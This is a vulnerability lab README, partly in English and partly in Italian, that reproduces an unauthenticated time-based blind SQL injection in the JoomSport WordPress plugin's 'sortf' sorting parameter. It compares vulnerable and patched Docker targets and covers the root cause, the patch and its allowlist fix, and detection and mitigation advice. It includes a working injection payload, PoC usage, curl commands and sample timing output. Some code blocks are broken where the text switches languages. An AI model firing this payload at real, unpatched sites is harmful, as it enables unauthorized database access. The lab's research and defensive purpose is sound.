This lab validates the vulnerability as a time-based blind SQL injection. It does not perform database dumping, credential extraction, data modification, or destructive SQL operations.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

## Verified Facts

| Claim                                                                           | Evidence                                                                                                                     | How to verify in this lab                                                  |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport `< 5.7.8` / `<= 5.7.7` as affected.                                                     | Review the References section and compare the vulnerable/patched services. |
| JoomSport 5.7.8 is the fixed version.                                           | Public advisories and source comparison show that 5.7.8 validates the `sortf` value before building the ordering expression. | Inspect `class-jsport-playerlist.php` in both versions.                    |
| The affected parameter is `sortf`.                                              | The vulnerable player list code reads `classJsportRequest::get('sortf')`.                                                    | Run the PoC and observe the injected `sortf` request.                      |
| The vulnerable code builds a dynamic SQL ordering value from user input.        | In the vulnerable version, `sortf` is used to build `$options['ordering']`.                                                  | Inspect `sportleague/classes/objects/class-jsport-playerlist.php`.         |
| The SQL sink is an `ORDER BY` clause.                                           | The generated `$ordering` value is later appended into an SQL query with `ORDER BY`.                                         | Inspect `sportleague/base/wordpress/classes/class-jsport-getplayers.php`.  |
| The patch uses an allowlist-style fix.                                          | The patched version introduces allowed static columns and expected dynamic field patterns before using the sort field.       | Compare JoomSport 5.7.6 and 5.7.8 source.                                  |
| The lab demonstrates time-based blind SQL injection.                            | The vulnerable target delays when an injected `SLEEP()` expression is used; the patched target does not.                     | Run `python3 poc/poc.py http://localhost:8081 http://localhost:8082`.      |

## Assumptions and Unknowns

This lab uses JoomSport 5.7.6 as the vulnerable comparison target because the public fixed version is 5.7.8 and a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing when the lab was prepared.

The lab does not claim that 5.7.6 is the only vulnerable version. It is used as a reproducible vulnerable baseline for comparing vulnerable behavior against the patched 5.7.8 behavior.

The lab focuses on the `sortf` parameter in the player list sorting flow.

The demonstrated impact is time-based blind SQL injection. The lab does not demonstrate:

* direct database dumping,
* credential extraction,
* authentication bypass,
* privilege escalation,
* arbitrary data modification,
* remote code execution,
* persistence,
* external callbacks,
* or attacks against non-lab systems.

Error-based or boolean-based behavior may be possible depending on database behavior, application configuration, and response differences, but this lab does not rely on those techniques. The primary proof is timing-based.

## Root Cause Summary

The root cause is unsafe construction of a dynamic SQL `ORDER BY` clause from the `sortf` request parameter.

The vulnerable code path starts in:```text
sportleague/classes/objects/class-jsport-playerlist.php

e lo usa per costruire:```text
$options['ordering']

Il problema non è principalmente il parametro `sortd`. Il valore di `sortd` è limitato a:```text
ASC
DESC

Il codice inserisce l'input controllato dall'attaccante in un contesto di identificatore MySQL e poi lo passa come frammento di ordinamento SQL.

Il codice applica:```php
sanitize_text_field()

Il pattern di sink è:```php
$query .= ' ORDER BY '.($ordering);

Il problema di sicurezza è che l'applicazione tratta un parametro di richiesta controllato dall'utente come un identificatore/espressione SQL senza prima validarlo rispetto a una lista consentita rigorosa.

## Riepilogo della Patch Sorgente

La patch pertinente si trova in:```text
sportleague/classes/objects/class-jsport-playerlist.php

La parte vulnerabile è che `classJsportRequest::get('sortf')` viene usato all'interno dell'espressione di ordinamento SQL.

JoomSport 5.7.8 modifica questo comportamento introducendo una variabile di campo di ordinamento validata prima di costruire `$options['ordering']`.

La versione corretta inizializza un valore predefinito sicuro:```php
$sortFieldEsc = 'post_title';

Quando `sortf` è presente, il codice patchato lo accetta solo se corrisponde a uno dei valori statici attesi:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

L'ultima modifica rilevante per la sicurezza è che `$options['ordering']` viene costruito da `$sortFieldEsc` invece che dal valore grezzo della richiesta `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Dopo la patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

il codice corretto non assegna quel valore a `$sortFieldEsc`.

Invece, il campo di ordinamento ricade su:```text
post_title

## Architettura del laboratorio

Il laboratorio esegue due installazioni WordPress isolate tramite Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Il processo di configurazione crea i dati JoomSport minimi necessari per renderizzare la route dell'elenco giocatori:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

## Avvio rapido

Avvia il lab:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Messaggi di completamento dell'installazione previsti:```text
[VULN] setup complete
[PATCHED] setup complete

Servizi esposti previsti:```text
http://localhost:8081
http://localhost:8082

Esegui il PoC contro il target patchato:```bash
python3 poc/poc.py http://localhost:8082

Per statistiche di temporizzazione più stabili, aumenta il numero di round:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

## PoC Usage

La PoC controlla ogni target in modo indipendente.

Non richiede più opzioni separate `--vuln-url` o `--patched-url`. Invece, passa uno o più URL target come argomenti posizionali:```bash
python3 poc/poc.py <target_url> [target_url...]

Se non viene fornito un URL di destinazione, lo script richiede interattivamente uno o più URL di destinazione locali.

Opzioni supportate:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

Il PoC rifiuta di default i target non locali.

## Come decide il PoC

Per ogni target, il PoC esegue due serie temporali:```text
[1/2] Baseline timing
[2/2] Injected timing

La richiesta iniettata utilizza un payload di timing solo locale nel parametro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

| Verdict           | Meaning                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | La richiesta iniettata è significativamente più lenta rispetto alla baseline. |
| `PATCHED-LIKE`    | La richiesta iniettata rimane vicina alla baseline.          |
| `UNREACHABLE`     | Il target non è raggiungibile.                              |
| `INCONCLUSIVE`    | Alcuni dati temporali risultano mancanti o incompleti.       |

Regola decisionale predefinita:```text
injected median - baseline median >= 60% of requested SLEEP()

Ciò significa che un target viene segnalato come `VULNERABLE-LIKE` solo quando la richiesta iniettata è chiaramente più lenta rispetto alla propria baseline.

I target non raggiungibili o inconcludenti non vengono conteggiati come corretti.

## Riproduzione manuale HTTP con curl

Puoi riprodurre la validazione manualmente senza usare il PoC Python.

Richiesta baseline vulnerabile:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Richiesta baseline patchata:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Confronto atteso:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Segnale vulnerabile previsto:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

### Target patchato

Comando:```bash
python3 poc/poc.py http://localhost:8082

### Obiettivi Multipli

Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

### Obiettivo non raggiungibile

Se un target non è attivo, il PoC dovrebbe segnalare `UNREACHABLE`, non `PATCHED-LIKE`.

Esempio:```bash
python3 poc/poc.py http://localhost:8083

I target irraggiungibili non vengono conteggiati come corretti.

## Come funziona il PoC

Il PoC sonda la rotta dell'elenco giocatori di JoomSport per un post di stagione preimpostato.

La rotta di destinazione è equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

Questo dovrebbe produrre un normale ordinamento della lista dei giocatori.

La richiesta iniettata utilizza:```text
sortf=post_title`DESC,(SLEEP(2))#

Il marcatore di commento `#` impedisce al backtick finale e alla direzione di interferire con l'espressione iniettata.

Questo non è un payload di query impilate. Non inietta:```sql
; SELECT SLEEP(2);

Caratteristiche sospette di `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Segnale vulnerabile previsto:```text
HTTP 200 response with significant timing delay

Potentiali idee per il monitoraggio in produzione:

* Esaminare i log di accesso web per valori `sortf` insoliti.
* Avvisare in presenza di parole chiave SQL o marcatori di commento nei parametri di ordinamento.
* Monitorare le richieste ripetute alle route dell'elenco giocatori di JoomSport con piccole modifiche ai parametri.
* Monitorare le query di database lente che coinvolgono le tabelle dell'elenco giocatori di JoomSport.
* Correlare le richieste lente con il traffico pubblico non autenticato.
* Verificare se JoomSport è installato e se la sua versione è precedente alla 5.7.8.

## Note sulla mitigazione e sulla patch

Aggiornare JoomSport alla versione 5.7.8 o successiva.

La versione corretta vincola il parametro `sortf` ai campi di ordinamento attesi e ai pattern di campi dinamici. I valori imprevisti ricadono su un campo di ordinamento predefinito sicuro.

Indicazioni di mitigazione a livello applicativo:

* Aggiornare il plugin JoomSport.
* Non esporre versioni obsolete del plugin su siti WordPress pubblici.
* Esaminare i log web per parametri `sortf` sospetti.
* Disabilitare o limitare le funzionalità interessate solo come mitigazione temporanea se un aggiornamento immediato non è possibile.
* Utilizzare una regola del Web Application Firewall come livello temporaneo, non come sostituto della patch.
* Trattare gli identificatori SQL dinamici in modo diverso dai valori normali: usare allowlist per nomi di colonne, nomi di tabelle, direzioni di ordinamento e componenti simili della sintassi SQL.

Il controllo più importante è l'allowlist. L'escaping da solo non è una soluzione completa per gli identificatori SQL dinamici.

## Comandi utili per la verifica

Controllare i container in esecuzione:```bash
docker compose ps

Controlla i servizi WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Esegui il PoC contro il servizio patchato:```bash
python3 poc/poc.py http://localhost:8082

Esegui il PoC con più round:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Controlla le versioni dei plugin all'interno di WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Ispeziona il sorgente patchato:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

## Pulizia

Ferma e rimuovi i container e le reti:```bash
docker compose down --remove-orphans

Rimuovi i file di prova se creati:```bash
rm -rf evidence/

Il PoC non include payload per il dumping di database, furto di credenziali, modifica dei dati, persistenza, movimento laterale o callback esterni.

L'obiettivo è dimostrare una specifica condizione tecnica in un ambiente controllato:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version